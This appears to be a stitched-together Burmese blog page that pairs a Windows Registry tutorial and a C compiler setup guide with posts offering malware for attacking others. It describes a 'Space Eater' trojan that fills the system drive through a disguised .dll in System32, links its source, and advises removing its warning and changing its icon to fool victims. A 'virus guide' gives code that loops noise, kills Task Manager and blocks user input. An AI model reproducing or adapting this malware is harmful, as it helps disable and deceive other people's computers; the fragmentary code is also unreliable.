Tuesday 30 October 2012

ကၽြန္ေတာ္သိသမွ် Windows Registry အေၾကာင္း

ကၽြန္ေတာ္သိသမွ် Windows Registry အေၾကာင္း


 
ကၽြန္ေတာ္သိသမွ်ကို ျပန္လည္ ရွင္းျပေပးတာပါ။ ကၽြန္ေတာ္႔ ထက္ပိုသိတဲ႕သူေတြ လည္းအမ်ားႀကီးရွိတာမုိ႔ ၀င္ေရာက္ျပင္ဆင္ေဆြးေႏြးေပးၾကပါ............... .

Windows Registry အေၾကာင္းကို အပိုင္း သံုးပိုင္းခြဲၿပီး ရွင္းျပပါမယ္။

   Chapter(1) - Windows Registry အေၾကာင္း
  Chapter(2) - Windows Registry ကို manual ျပဳျပင္ျခင္း
  Chapter(3) - Windows Registry ကို Script မ်ားေရးၿပီး ျပဳျပင္ျခင္း တို႔ျဖစ္ပါတယ္။

 
 
Chapter (1)
  Windows Registry အေၾကာင္း
  Windows O.S ရဲ႕ Registry ဆိုတာ O.S နဲ႕ စက္ရဲ႕ Application, Hardware, Software, Device Driver & Network Portocol ေတြနဲ႕ သက္ဆိုင္တဲ႕ သတင္းအခ်က္အလက္ အစုအေ၀းပါ။
Registry ထဲမွာ အဓိက ပါ၀င္မႈေတြကေတာ့-Device & Application မ်ားရဲ႕ Setup Progarm မ်ား

-User Profile မ်ား

-NTLDR (Windows ကို load ေပးတဲ႔ Progarm)

-Device Driver

-Hardware Profile

-Application Progarms

 
Registry ကို တည္ေဆာက္ပံု ႏွစ္မ်ိဳး ခြဲႏိုင္တယ္။

(1) Logical Organization

(2) Physical Organization

 
(1) Logical Organization

သူ႔မွာေတာ႔ Branch (5) ခုရွိတယ္။ အဲ႕ဒီ ငါးခုကို High level key(or) Sub key(or) Main key
 လို႔ ေခၚတယ္။ သူ႕ ေအာက္မွာလည္း ေနာက္ထပ္ Sub key ေတြ ရွိၿပီးေတာ႔ ေအာက္ဆံုးအဆင္႔ မွာ
 Value ေတြရွိတယ္။ Value ေတြမွာလည္း Value name ေတြ ရွိၿပီးေတာ႔ Assign လုပ္ထားတဲ႕ Data
 & Data Type ေတြရွိတယ္။အဲ႕ဒီ High level key(or) Sub key(or) Main key ေတြ ကေတာ႔-

 
 
-HKEY_CURRENT_USER

- လက္ရွိ logon ၀င္ေရာက္ေနတဲ႕ user နဲ႕သက္ဆိုင္တဲ႕ အခ်က္ေတြကိုေဖာ္ျပေပးတယ္။

- လက္ရွိ User ရဲ႕ အခ်က္အလက္ေတြကို သိမ္းထားေပးတယ္။

 
-HKEY_CLASSES_ROOT

- Software ႏွင္႔ ၄င္း Software ေတြ မည္သို႔ ဖြဲ႕စည္းထားသည္ကိုေဖာ္ျပေပးတယ္။
 - -HKEY_LOCAL_MACHINE ၏ Sub key တစ္ခုျဖစ္တယ္။

 
-HKEY_CURRENT_CONFIG
 - လက္ရွိ Active ျဖစ္ေနတဲ႕ Hardware Configuration ကို ေဖာ္ျပေပးတယ္။
 - ၄င္းသည္ -HKEY_LOCAL_MACHINE ၏ Sub key ႏွစ္ခုျဖစ္ေသာ Software & System မွ

Data မ်ားကို ထုတ္ႏႈတ္ေဖာ္ျပေပးတယ္။

 
-HKEY_USERS
 - လက္ရွိ Logon ၀င္ေရာက္ေနေသာ User ရဲ႕ ID & Logon Screeen ကို တည္ေဆာက္ရန္လိုအပ္တဲ႕ အခ်က္အလက္ေတြကိုျပတယ္။

  - User အားလံုးရဲ႕ Profile ေတြကို သိမ္းေပးတယ္။
 - -HKEY_CURRENT_USER သည္ -HKEY_USERS ၏ Sub key တစ္ခုျဖစ္သည္။
 -HKEY_LOCAL_MACHINE
 - O.S စတင္တက္ရန္ လုိအပ္ေသာ Device မ်ား၊ Device Driver မ်ားနဲ႕သက္ဆိုင္ေသာ Dataမ်ားအပါ အ၀င္ ကြန္ပ်ဴတာနဲ႕သက္ဆိုင္ေသာ Data Configuration မ်ားကိုျပေပးတယ္။

- မတူညီေသာ User မ်ား Logon ၀င္ေရာက္ေနစဥ္တြင္ ၄င္း ရဲ႕ အခ်က္အလက္ေတြကိုေျပာင္းမေပးပါ။
  (အထက္ပါ Sub Key ငါးခုကိုၾကည့္ျခင္းအားျဖင္႔ Registry မွာ အဓိက Sub key က ႏွစ္ခုပဲရွိတာကို
 ျမင္ေတြ႕ႏိုင္ပါတယ္။ -HKEY_USERS ေအာက္မွာ -HKEY_CURRENT_USER , -HKEY_LOCAL_MACHINE
 ေအာက္မွာ -HKEY_CURRENT_CONFIG & -HKEY_CLASSES_ROOT ရွိေနပါတယ္။)

 
(2) Physical Organization
 Registry ကို Hive လို႔ေခၚတဲ႕ ဖိုင္ ငါး ခုထဲမွာ သိမ္းထားတယ္။ အဲ႕ဒါေတြကေတာ႔

  1.Default
2.SAM
  3.SECURITY
4.SOFTWARE
  5.SYSTEM တို႔ျဖစ္ပါတယ္။

 
-HKEY_LOCAL_MACHINE

SAM
SECURITY
SOFTWARE [-HKEY_CLASSES_ROOT] , [-HKEY_CURRENT_CONFIG]
SYSTEM [-HKEY_CURRENT_CONFIG]

 
-HKEY_USERS
 Default [-HKEY_CURRENT_USER]

 လက္ေတြ႔လုပ္ေဆာင္မႈအပိုင္းမွာေတာ႔ ကၽြန္ေတာ္တို႔ဟာ Logical အပိုင္းကိုပဲ အသံုးျပဳၿပီးေတာ႔Physical ပိုင္းကိုေတာ႔ နားလည္ယံုဆို အဆင္ေျပပါတယ္။ကဲကၽြန္ေတာ္တို႔ Registry ကိုသိၿပီ။ နားလည္ၿပီ....... သူ႔ကိုဘယ္မွာရွာရမလဲ ဆိုရင္

Start Menu> Run ကိုသြားပါ၊ ေနာက္ၿပီး Run dialog box ေပၚလာရင္ regedit လို႔ ရိုက္ၿပီးEnter ေခါက္လိုက္ရင္ Registry Editor ေပၚလာပါလိမ္႔မယ္။

Registery ကို ဘယ္မွာသိမ္းသလဲ ဆိုေတာ႔..............
partation C: ရဲ႕ Win32 ထဲက Config ထဲမွာသိမ္းပါတယ္။Registry ရဲ႕ Repair ကိုေတာ႔ C ေအာက္က Window ထဲက repair ထဲမွာသိမ္းပါတယ္။အထက္မွာ ေျပာျပထားသလို Value တစ္ခုမွာရွိတဲ႕ Data တစ္ခု ကိုေဖာ္ျပတဲ႕ေနရာမွာ Data typeအမ်ိဳးအစား (၆)မ်ိဳးအနက္က တစ္ခုခုနဲ႕ေဖာ္ျပႏိုင္ပါတယ္။ အဲ႕ဒီ (၆) မ်ိဳးကေတာ႔ ...........

  1.REG_BINARY
Raw Binary Data, Hardware သတင္းေတြကို ကြန္ပ်ဴတာမွ binary အျဖစ္သိမ္းေပမယ္႔၊Registery editor မွာ အက်ဥ္းျခံဳးရန္ Hexa Decimal နဲ႕ျပေပးတယ္။

 
2.REG_DWORD
 4 byte အရွည္ရွိတဲ႕ ကိန္းဂဏန္းနဲ႕သိမ္း၊ Device Driver မ်ား၊ Service ႏွင္႔သက္ဆိုင္ေသာကန္႔သတ္ခ်က္ (parameter) မ်ားကိုေဖာ္ျပေပးတယ္။


3.REG_EXPAND_SZ
 ကိန္းရွင္ (variable) မ်ား

   4.REG_MULTI_SZ
 multiple type, user မ်ားသိႏိုင္ေသာ Char ႏွင္႔ဂဏန္းမ်ားေရာေႏွာပံု၊ ေနရာလြတ္ ၊ ေကာ္မာနဲ႕အျခား အမွတ္ေတြပါ။

5.REG_SZ
စာသားမ်ားပါ၀င္ၿပီး အလ်ားသတ္မွတ္ခ်က္ရွိေသာ အကၡရာစဥ္ကိန္းတန္း တစ္ခု။

6.REG_FULL_RESOCE_DESCRIPTOR

Hardware တစ္ခုကို (Dirver တစ္ခု) Resource List ကိုသိမ္းဆည္းရန္ ဒီဇိုင္းထုတ္ထားေသာNested Array တစ္ခု။

  (အသံုးမ်ားတဲ႕ data type ေတြကို အနီနဲ႕ ျပထားေပးပါတယ္။)

 
 
Registry Backup လုပ္ျခင္း

Windows Registry ကို backup ျပဳလုပ္ျခင္း (ဒါက Chapter(1) နဲ႕ Chapter (2) ၾကားက ေၾကာ္ျငာ က႑)
ဒီအပိုင္းမွာကေတာ႔ Registry ကို ျပဳျပင္တာေတြ ျဖစ္လို႔ ပထမဦးစြာအေနနဲ႕ Windows ရဲ႕ Registry ကိုBackup လုပ္ထားေစခ်င္ပါတယ္။ Registry ဟာ Windows ရဲ႕ ဦးေႏွာက္ ျဖစ္တာေၾကာင္႔ တစ္စံုတစ္ခု ပ်က္စီးခ်ိဳ႕ယြင္း သြား ခဲ႕ရင္ Windows မတက္တဲ႕ အထိ ျပသနာရွာတတ္ပါတယ္။

  ကဲ အခု Windows မွာ အသင္႔ပါလာတဲ႕ Backup or Restore Wizard ကို အသံုးျပဳၿပီး Registry ကို backup& restore လုပ္ရေအာင္..............


Start Menu> Run (Run ထဲမွာ ntbackup လို႔ရိုက္ထည့္ေပးပါ)
Backup & Restore Wizard Dialogbox က်လာပါလိမ္႔မယ္...... အဲ႕ဒီ Welcome Page ေပၚမွာ ရွိတဲ႕
Advance Mode ဆိုတဲ႕ အျပာေရာင္ စာသားကို ႏွိပ္လိုက္ရင္ Backup Utility Box ထပ္က်လာပါမယ္။
 အဲ႕ဒီအထဲကမွ Backup Tab ကိုေရြးလိုက္ၿပီးရင္ ဘယ္ဘက္ ျခမ္းရွိ My Computer ေအာက္က System
 State Checkbox ကို အမွန္ျခစ္ကေလး ျခစ္ၿပီး ေအာက္ဆံုးက Backup Media or File Name box မွာ
 Backup လုပ္မယ္႔ ဖိုင္ကို သိမ္းမယ္႔ ေနရာနဲ႕ ဖိုင္ အမည္ေပးႏိုင္ဖို႔အတြက္ Browse ကိုႏွိပ္ပါ။ Save as Dialog
 box က်လာတဲ႕အခါ Backup ဖိုင္ကို မိမိ သိမ္းလိုတဲ႕ ေနရာ(Folder) ကို ေရြး၊ အမည္ေပးၿပီးေတာ႔ Save လုပ္ပါ။
 ေနာက္ၿပီးေတာ႔ Start Backup ခလုပ္ကို ႏွိပ္လိုက္ရင္ Backup Job Information Dialogbox က်လာၿပီး
 Start Backup ကိုထပ္ႏွိပ္ေပးလိုက္ပါ။

Backup လုပ္ၿပီးသြားတဲ႕အခါမွာေတာ႔ "The Backup is complete"ဆိုတဲ႕စာသားေပၚလာမွာျဖစ္ၿပီးေတာ႔ Progress Box ကိုပိတ္ဖို႔အတြက္ Close ကိုႏိွပ္ပါ။ ၿပီးရင္ Backup UtilityBox ကို ထပ္ပိတ္ပါ။ ဒါဆိုရင္ Registry တစ္ခုလံုးကို Backup လုပ္တဲ႕ အဆင္႔ၿပီးဆံုးသြားပါၿပီ။

  Registry ကို ျပဳျပင္တာ(လက္ေဆာ႔တာ)ၿပီးဆံုးသြားလုိ႔ နဂိုအတိုင္းျပန္ျဖစ္ခ်င္တယ္ဆိုရင္ေတာ႔ Backupလုပ္ထားတဲ႕ File ကို ျပန္ၿပီး Restore လုပ္ေပးရပါတယ္။ Restore လုပ္ခ်င္ရင္ေတာ႔ ခဏက Backupလုပ္ ထား တဲ႕ file ကို double click ႏွိပ္ေပးလိုက္ပါ။ Backup & Restore Wizard Dialogboxက်လာပါလိမ္႔မယ္...... အဲ႕ဒီ Welcome Page ေပၚမွာ ရွိတဲ႕ Advance Mode ဆိုတဲ႕ အျပာေရာင္ စာသားကိုႏွိပ္လိုက္ရင္ Backup Utility Box ထပ္က်လာပါမယ္။ အဲ႕ဒီအထဲကမွ Restore and Menage Media Tabကိုေရြးလုိက္ပါ။ ညာဖက္မွာ file ကိုျဖန္႔ခ်ထားၿပီး System State ကို အမွန္ျခစ္ထားတာ ေတြ႔ရမွာပါ။

Backupဖိုင္ကို မူလေနရာမွာပဲ ျပန္ၿပီး Restore လုပ္မွာမို႔လို႔ Start Restore ကိုႏွိပ္ေပးပါ။ မူလရွိၿပီးသားကို ဖ်က္ၿပီးေရးမယ္လို႔ သတိေပးတဲ႕ Warning Box က်လာမွာျဖစ္ၿပီး OK ကိုႏွိပ္လိုက္ရင္ Confirm Boxက်လာ မွာျဖစ္ ပါတယ္။
(ေတာ္ေတာ္ အေမးအျမန္းထူတယ္ေနာ္.............) Ok ကိုပဲထပ္ႏွိပ္လိုက္ပါ။
  Restore Progress Box ထပ္က်လာၿပီး Restore လုပ္ပါလိမ္႔မယ္။ ၿပီးသြားရင္ေတာ႔ "The restore is complete"ဆိုတဲ႕စာတန္းေပၚလာ ရင္ close ကိုသာႏွိပ္လုိက္ပါ။ တစ္ခ်ိဳ႕ setting ေတြဟာ restart ခ်မွ ျပည့္စံုမွာမို႔လို႔Restart ခ်မလားလို႔ေမးတဲ႕ dialog box က်လာ ပါလိမ္႔မယ္။ အေကာင္းဆံုးကေတာ႔ Yes ကိုႏွိပ္ေပးလိုက္ပါ။Windows Restart က်သြားၿပီးေတာ႔ နဂိုမူလအတိုင္း (မျပင္ဆင္ခ်ိန္က အေျခအေနမ်ိဳး)ျပန္လည္ေရာက္ရွိသြားပါလိမ္႔မယ္။

 အျခားအျခားေသာ Registery Software ေတြအသံုးျပဳၿပီး Backup & Restroe လုပ္လို႔လည္းရပါတယ္။
ဥပမာ- CCleaner, Power, Blue စသည္ျဖင္႔ေပါ႔...

ကိုယ္ပိုင္ Trojan virus လုပ္ၿပီး တိုတ္ခိုက္ခ်င္းသူမ်ားအတြက္ပါ -1

ကိုယ္ပိုင္ Trojan virus လုပ္ၿပီး တိုတ္ခိုက္ခ်င္းသူမ်ားအတြက္ပါ -1



 C Programming Language ကိုသံုးျပီး Simple Trojan လုပ္နည္းေလးပါ။
ဒီ Trojan ဟာ root drive ( Windows ထဲမွာ ဒီ Trojan ကို run မိတဲ႔ Drive ပါ။ အမ်ားအားျဖင့္ေတာ့ C: Drive ပါ။) ရဲ႕ hard disk space ကို စားေအာင္လုပ္ထားတာပါ။ဒီ Trojan စ run တဲ႔အခ်ိန္ကစျပီး မိနစ္တိုင္းမွာ hard disk space ရဲ႕ 1GB ေလာက္ကို ျမန္ျမန္ဆန္ဆန္ပဲ စားသြားႏိုင္ပါတယ္။ ဒါေၾကာင့္ ဒီ Trojan ကို Space Eater Trojanလို႔ေခၚပါတယ္။ High level programming language နဲ႔ ေရးထားတဲ႔ Trojan ပါ။ ဒီ Trojan ရဲ႕ Source code ကို ဒီ Post ရဲ႕ ေအာက္ဆံုးမွာ Download လုပ္ႏိုင္ပါတယ္။ဒီ Trojan ဘယ္လိုအလုပ္လုပ္တယ္ဆိုတာ ၾကည့္ရေအာင္..

ဒီ Trojan ရဲ႕ features ေတြကို မရွင္းျပခင္မွာ Trojan horse ဆိုတာ ဘာလဲ၊ ဘယ္လို အလုပ္လုပ္သလဲဲ ဆိုတာကို အတိအက်သိဖို႔လိုပါတယ္။ Trojan (သို႔) Trojan horseဆိုတာ virus မဟုတ္ပါဘူး။ ရုိးရိုးရွင္းရွင္းေျပာရင္ Trojan ဆိုတာ လိုလားတဲ႔ function တစ္ခုကို ေဆာင္ရြက္ေစဖို႔လုပ္ထားတဲ႔ program တစ္ခုပါ။

ဒါေပမယ့္ malwareမ်ား(ပိုင္ရွင္မသိေစပဲ computer system ထဲသို႔ စိမ့္၀င္ထိုးေဖာက္ရန္ (သို႔) ဖ်က္ဆီးရန္ ဒီဇိုင္းျပဳလုပ္ထားတဲ႔ software)ကို user ေတြမသိေစပဲ လွ်ိဳ႕၀ွက္လက္ခံျခင္း (သို႔) ကြန္ျပဴတာကို ပ်က္စီးေစပါတယ္။

ဒီ Trojan ကို antivirus program ေတြအလုပ္လုပ္သလိုပဲ ( ကြနျ္ပဴတာကို scans ဖတ္ျခင္း၊ threats ဖယ္ရွားျခင္း) ဒီဇိုင္းျပဳလုပ္ထားပါတယ္။ အမွန္တကယ္မွာေတာ့ ဒါေတြကို user က ေတြ႔ရမွာ မဟုတ္ပါဘူး။ ဒါေပမယ့္
root drive ရဲ႕ hard disk space ကိုေတာ့ ၾကီးမားတဲ႔ဖိုင္ေပါင္းေျမာက္ျမားစြာနဲ႔ အလြန္လွ်င္ျမန္စြာျဖည့္လိုက္မွာျဖစ္ပါတယ္။ မိနစ္အနည္းငယ္အတြင္းမွာ 100% အျပည့္ ျဖည့္ႏိုင္ပါတယ္။

free disk spaceမရွိေတာ့တဲ႔အခါမွ Trojan ဟာ scan ဖတ္တာကုိရပ္ပါတယ္။ ဒီ Trojan တိုက္ခိုက္ခံရတဲ႔ ကြန္ျပဴတာမွာ တျခား cleanup program ေတြသံုးျပီး hard disk space ကို clean up လုပ္ဖို႔ ျဖစ္ႏိုင္မွာ မဟုတ္ပါဘူး။ဘာေၾကာင့္လဲဆိုေတာ့ Trojan ဟာ လိမ္မာ ပါးနပ္ စြာပဲ Windows System32 folder ထဲမွာ ဖိုင္အၾကီးေတြကို .dll extenstion နဲ႔ ဖန္တီးထားလို႔ျဖစ္ပါတယ္။ ေယဘူယ်အားျဖင့္ .dll extention ဖိုင္ေတြကို disk cleanup softwareေတြက ignore လုပ္ၾကလို႔ပါ။ ဒါေၾကာင့္ တိုက္ခိုက္ခံရတဲ႔ user အေနနဲ႔ သူ႔ရဲ႕ hard disk space ကို recover လုပ္ဖို႔ format ျပန္လုပ္ဖို႔ဆိုတာ မျဖစ္ႏိုင္တာပါ။

Trojan ရဲ႕ လုပ္ေဆာင္ပံုနည္းလမ္းကေတာ့ ေအာက္ပါအတိုင္းျဖစ္ပါတယ္....
(၁) root drive ကိုရွာေဖြတယ္။
(၂) root drive ေပၚရွိ Windows System32 ကိုသြားတယ္။
(၃)"spceshot.dll' ဖိုင္နာမည္နဲ႔ ဖိုင္တခု ဖန္တီးတယ္။
(၄)data အစအနေပါင္းေျမာက္မ်ားစြာကို အမႈိက္ပံုသလို အထက္ပါဖိုင္ထဲကို drive ျပည့္သြားတဲ႔ size ၾကီးသြားေအာင္ျဖည့္ပါတယ္။
(၅)drive ျပည့္သြားတာနဲ႔ တျပိဳင္နက္ process ရပါသြားပါတယ္။

ဒီေနရာမွာ http://minus.com/lTGYXb6nJlvhT  Trojan ရဲ႕ Source code ကို Download ခ်ႏိုင္ပါတယ္။ သင့္ ကြန္ျပဴတာရဲ႕ security အတြက္ (.c) နဲ႔ save ထားတာျဖစ္ပါတယ္။ဒါေၾကာင့္အသံုးျပဳမယ္ဆိုရင္ (.exe)ဖိုင္ျဖစ္ေအာင္ျပန္လုပ္ရပါမယ္။

Compile လုပ္ျခင္း၊ စမ္းသပ္ျခင္းနွင့္ ထိခိုက္္မႈမွ ဖယ္ရွားျခင္း
Compile:
C++ compiler လုပ္နည္းဆိုတဲ႔ post မွာ ရွင္းျပခဲ့ျပီးျဖစ္ပါတယ္။
စမ္းသပ္ျခင္း
ဒီ Torjan ကို စမ္းသပ္ဖို႔အတြက္ SpaceEater.exe ဖိုင္ကို သင့္ကြန္ျပဴတာမွာ run လိုက္ပါ။ အဲဒီအခါမွာ သတိေပးတဲ႔ message တခုေပၚလာပါလိမ့္မယ္။
သင္ accept ေပးလိုက္တာနဲ႔ တျပိဳင္နက္ Trojan ဟာ စတင္ run ျပီး သင့္ ကြန္ျပဴတာရဲ႕ hard disk space ကို စတင္၀ါးျမိဳပါေတာ့တယ္။
(မွတ္ခ်က္ - သတိေပးတဲ႔ message ကို ဖယ္ရွားဖို႔အတြက္ သင္ဟာ Source code ကို edit လုပ္ျပီး re-compile ျပန္လုပ္ရပါမယ္။)

ထိခုိက္မႈမွဖယ္ရွားျခင္း နဲ႔ disk free space ျပန္ရေအာင္လုပ္ျခင္းတိုက္ခိုက္ခံရမႈကို ဖယ္ရွား ျပီး disk ကို free space ျပန္ရေအာင္ လုပ္ဖို႔အတြက္ run ထဲက dialog box ထဲမွာ%systemroot%system32 ကိုျပီး ဖြင့္လိုက္ပါ။ ျပီးရင္ "spceshot.dll" ဆိုတဲ႔ ဖိုင္ကိုရွာျပီး delete လုပ္လိုက္ပါ။ hard disk ကို format ျပန္လုပ္ဖို႔ မလိုအပ္ပါဘူး။

(Trojan ကို တျခား user ေတြမသိႏိုင္ဖို႔အတြက္ icon ပံုစံေျပာင္းဖို႔လိုအပ္ပါတယ္။ Icon ကို ေျပာင္းမို႕ softwareဆိုတဲ႔ post မွာ ေဖာ္ျပျပီးျဖစ္ပါတယ္။)

C++ compiler လုပ္နည္း

C++ compiler လုပ္နည္း




                         

ေနာက္ထပ္တင္ေပးမယ့္ ဗိုင္းရပ္ဖန္တီးျခင္းအပိုင္းေတြအတြက္ ဒီပို႔ကိုတင္ေပးလိုက္ပါတယ္။ ဘာလို႔လဲဆိုေတာ့ ဖန္တီးတဲ့ေနရာမွာ C Programming Languageကို သံုးမွာ ျဖစ္လို႔ပါ။ သိျပီး၊ တတ္ျပီးသားသူေတြအတြက္မဟုတ္ပါဘူး။ C Programming ကို မသိေသးတဲ႔သူေတြနဲ႔ C Programming ကို အခုမွစတင္သင္ၾကားေနသူေတြအတြက္ပါ။ ထံုစံအတိုင္း သူမ်ား post ကို ဘာသာျပန္ျပီးတင္ေပးလိုက္တာပါပဲ။ Borland C++ compiler 5.5 ကို ဘယ္လို install လုပ္မလဲနဲ႔ C Programs ကိုဘယ္လို Compile(ပ႐ိုဂရမ္ ဘာသာစကား တစ္ခုခုျဖင့္ ေရးသားထားေသာ အမိန္႔ညႊန္ၾကားခ်က္ ကို စက္နားလည္ေအာင္ ေျပာင္းလဲေပးရန္ ကြန္ပ်ဴတာပ႐ိုဂရမ္ကို အသံုးျပဳသည္။)ဘယ္လိုလုပ္မလဲ ဆိုတာပါ။

Borland C++ compiler ကိုဘယ္လုိ installလုပ္မလဲ
(၁) Borland C++ compiler5.5 ကို ဒီေနရာhttp://minus.com/lbdssncd9O5mALမွာ download ခ်လိုက္ပါ ( သို႔ ) http://www.codegear.com/downloads/free/cppbuilder ကို သြားျပီးေတာ့လည္း downလို႔ရပါတယ္။

(၂)download လုပ္ျပီးျပီးဆိုရင္ေတာ့ freecommandlinetools.exe ကို run လိုက္ပါ။ သီးျခား location သတ္မွတ္ေပးထားျခင္း မရွိဘူးဆိုရင္ေတာ့ C:\Borland\BCC55 ထဲကို installation လုပ္ပါလိမ့္မယ္။

Borland C++ compile ကို configure[(အျခားပစၥည္းမ်ားႏွင့္ တြဲဖက္သံုးႏိုင္ရန္) သီးသန္႔ စီစဥ္ထားရွိသည္။] ဘယ္လိုလုပ္မလဲ
(၁)Borland C++ compier ကို install လုပ္ျပီးရင္ Text Document ႏွစ္ခု ဖန္တီးလိုက္ပါ။ပထမ new text document.txt ဖိုင္ကိုဖြင့္ျပီး ေအာက္မွာေပးထားတဲ႔ code နွစ္ခုကိုထည့္ေပးလိုက္ပါ။
-l"c:\Borland\Bcc55\include"
-L"c:\Borland\Bcc55\lib"

(၂)ျပီးရင္ အဲဒီ New Text Document.txt ကို bcc32.cfg နဲ႔ rename ေပးျပီး save လိုက္ပါ။ Save as type ေနရာ All files ေျပာင္းေပးဖို႔လိုပါတယ္။

(၃)ျပီးရင္ ဒုတိယ New Text Document(2).txt ဖိုင္ကိုဖြင့္ျပီး ေအာက္က code ကိုထည့္ေပးပါ။
-L"c:Borland\Bcc55\lib"

(၄)code ထည့္ျပီးသြားရင္ ilink32.cfg နဲ႔ saveလိုက္ပါ။ Save as type ကေတာ့ All files ပါပဲ။

(၅)အခုလုပ္ျပီးသြားတဲ႔ ဖိုင္ႏွစ္ခု (bcc32.cfg နဲ႔ ilink32.cfg)ကို copy လုပ္ပါ။ ျပီးရင္ C:\Borland\BCC55\Bin ထဲကိုသြားျပီး paste ေပးလိုက္ပါ။

C source code (.C files) ကိုဘယ္လို compile ျဖစ္ေအာင္လုပ္မလဲ
(၁)ပထမဆံုး .C (example.c) ဖိုင္ ကို compile ျဖစ္လာဖို႔ ေအာက္ပါ location ထဲမွာ သြားထည့္လိုက္ပါ။
C:\Borland\BCC55\Bin
(သင္ compile ျဖစ္ခ်င္တဲ႔ (.c) နဲ႔ save ထားတဲ႔ C source code ကိုဆိုလိုပါတယ္)

(၂)command prompt ကိုဖြင့္လိုက္ပါ။ ( Start>Run>type cmd > Enter)

(၃)ျပီးရင္ C:\Borland\BCC55\Bin\bcc32 example.c ကိုရိုက္လိုက္ပါ။ (CD command ကိုသံုးပါ)

(၄) source code ထဲမွာ error မရွိဘူး ဆိုရင္ေတာ့ (example.exe) ဖိုင္ကို locationတခု(C:\Borland\BCC5\Bin) ထဲမွာေတြ႔ရ မွာျဖစ္ပါတယ္။ကဲ..အခု source code ကို executable file(.exe file)အျဖစ္ compiled လုပ္ျခင္းေအာင္ျမင္သြားျပီးဆံုးသြားပါျပီး။

(Srikanth ရဲ႕ How to Compile C Programs မွ)

C++ ျဖင့္ Antivirus codeေရးနည္း

C++ ျဖင့္ Antivirus codeေရးနည္း
xxxxxxxxxxxxxxxxxxxxxxxxxxxxx

အမ်ားအားျဖင့္ေတာ့ Antivirus ကုမၸဏီေတြက ထိန္းသိမ္းထားတဲ႔အတြက္ Antivirus sample code ေတြကို Public ကို Release လုပ္ျခင္း မရွိပါဘူး။ ဒါေပမယ့္ C++ ကို အသံုးျပဳျပီး Antivirus code ဘယ္လိုေရးရတယ္ဆိုတာ ကို သိရသေလာက္ နမူနာေလး တင္ေပးလိုက္ပါတယ္။ ေလ့လာၾကည့္ပါ။



int main()
{
PathList = userSelectPaths();
MyVirusList mvl = findViruses(PathList);
if( mvl.empty() )
{
cout << "Could not kill viruses" << endl;
}
else
{
cout << "Viruses killed." << endl;
}
return 0;
}
C++ ျဖင့္ Antivirus codeေရးနည္း xxxxxxxxxxxxxxxxxxxxxxxxxxxxx  အမ်ားအားျဖင့္ေတာ့ Antivirus ကုမၸဏီေတြက ထိန္းသိမ္းထားတဲ႔အတြက္ Antivirus sample code ေတြကို Public ကို Release လုပ္ျခင္း မရွိပါဘူး။ ဒါေပမယ့္ C++ ကို အသံုးျပဳျပီး Antivirus code ဘယ္လိုေရးရတယ္ဆိုတာ ကို သိရသေလာက္ နမူနာေလး တင္ေပးလိုက္ပါတယ္။ ေလ့လာၾကည့္ပါ။    int main() { PathList = userSelectPaths(); MyVirusList mvl = findViruses(PathList); if( mvl.empty() ) { cout << "Could not kill viruses" << endl; } else { cout << "Viruses killed." << endl; } return 0; }

C++ Virus Guide-2

C++ Virus Guide-2


  
အရင္ post မွာ ေတာ္ေတာ္ေလး ရွင္းခဲ႔ျပီးပါျပီ... ဒီ post မွာေတာ့ payload အပိုင္းနဲ႔ taskmanager ေပၚ မလာေအာင္ လို႔ ဘယ္လိုလုပ္မလဲဆိုတာကို တင္ေပးထားပါတယ္။ ဒီ post ကိုမဖတ္ခင္မွာ C++ Virus Guide1 ကိုအရင္ဖတ္ဖို႔ လိုမယ္ထင္ပါတယ္...ဘာလို႔လဲဆိုေတာ့ အဲဒီ post က C++ Virus ေရးသားနည္းအတြက္ အေျခခံ မို႔လို႔ပါ။

 
ေအာက္မွာျပထားတဲ႔ code ကေတာ့ သင့္computer ရဲ႕ beep ထြက္လာေအာင္ျပဳလုပ္ႏိုင္ပါတယ္...

 
 
 
int Freq = 100;

int Duration = 100;

Beep(Freq,Duration);

 
အခုေအာက္မွာ ထပ္ျပထားတဲ႔ code ေတြကေတာ့ beep ေတြကို ထပ္ခါထပ္ခါ ထြက္လာေစျပီး ဆူညံသြားေအာင္ ဖန္တီးႏိုင္ပါတယ္။

 
 
while(1==1)

{Beep(Freq,Duration);}

}

 
အေပၚမွာ ေဖာ္ျပထားတဲ႔ code ေတြနဲ႔ ယွဥ္တြဲျပီး ေလ့လာႏိုင္ေအာင္ စိတ္ညစ္စရာေကာင္းတဲ႔ ဆူဆူညံညံအသံေတြကို ဖန္တီးႏိုင္တဲ႔ virus sample တစ္ခုျဖစ္လို႔ အႏၲရာယ္မျဖစ္ႏိုင္ပါဘူး။

 
 
ဆူဆူညံညံအသံေတြထြက္ေအာင္ လုပ္ႏိုင္တာေတာ့ ဟုတ္ပါျပီ... က်ေနာ္တို႔ရဲ႕ virus program ကို virus တိုက္ခိုက္ခံရတဲ႔ သူက ရပ္တန္႔သြားေအာင္ လုပ္လို႔မရေအာင္ ဘယ္လိုလုပ္မလဲ...?

အေျဖကေတာ့ - BlockInput();

BlockInput() ဟာ ျပႆနာေလးတစ္ခုရွိေနတာက လြဲရင္အဆင္ေျပပါတယ္... ဘာျပႆနာလဲဆိုေတာ့ user က CTRL + ALT + DEL keyေတြကို ႏွိပ္ျပီး taskmanager ကိုဖြင့္ျပီး က်ေနာ္တို႔ရဲ႕ program ကို ရပ္တန္႔ႏိုင္ပါေသးတယ္...input ႏွစ္ခုလံုးကို ရပ္တန္႔သြားေစဖို႔အတြက္ကေတာ့....

 
 
#include <winable.h> //must have for BlockInput

//အရင္C++ Virus Guide မွာေလ့လာခဲ႔ရတဲ႔ code ေတြကို ဒီေနရာမွာထည့္ပါ။

 
hWin = FindWindow(NULL,"Windows Task Manager"); //checks to make sure taskmgr isnt opened

SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // if taskmgr is open it will close

 
BlockInput(true);

cout << "Your Input Is Blocked" <<endl;

Sleep(10000); //pauses for 10 seconds

BlockInput(false);

cout << "Your Input Is Unblocked" <<endl;

 
}

 
အခုအေပၚမွာျပထားတဲ႔ code ေတြကို compile လုပ္ျပီး run လိုက္မယ္ဆိုရင္ 10 seconds ေလာက္ေတာ့ သင့္ရဲ႕ mouse ကိုေရႊ႕လို႔ ရေတာ့ မွမဟုတ္သလို keyboard ကေနလည္း ဘာမွရုိက္လို႔မရေတာ့ပါဘူး။

 
သင့္ရဲ႕ C++ virus ကို full screen လုပ္ခ်င္တယ္ဆိုရင္ေတာ့ ... ေအာက္က code ေတြကိုေလ့လာၾကည့္ပါ...

 
 
#include <iostream>

using namespace std;

 
#include <windows.h>

 
#include <conio.h>

 
class Program {

public:

void Fullscreen();

};

 
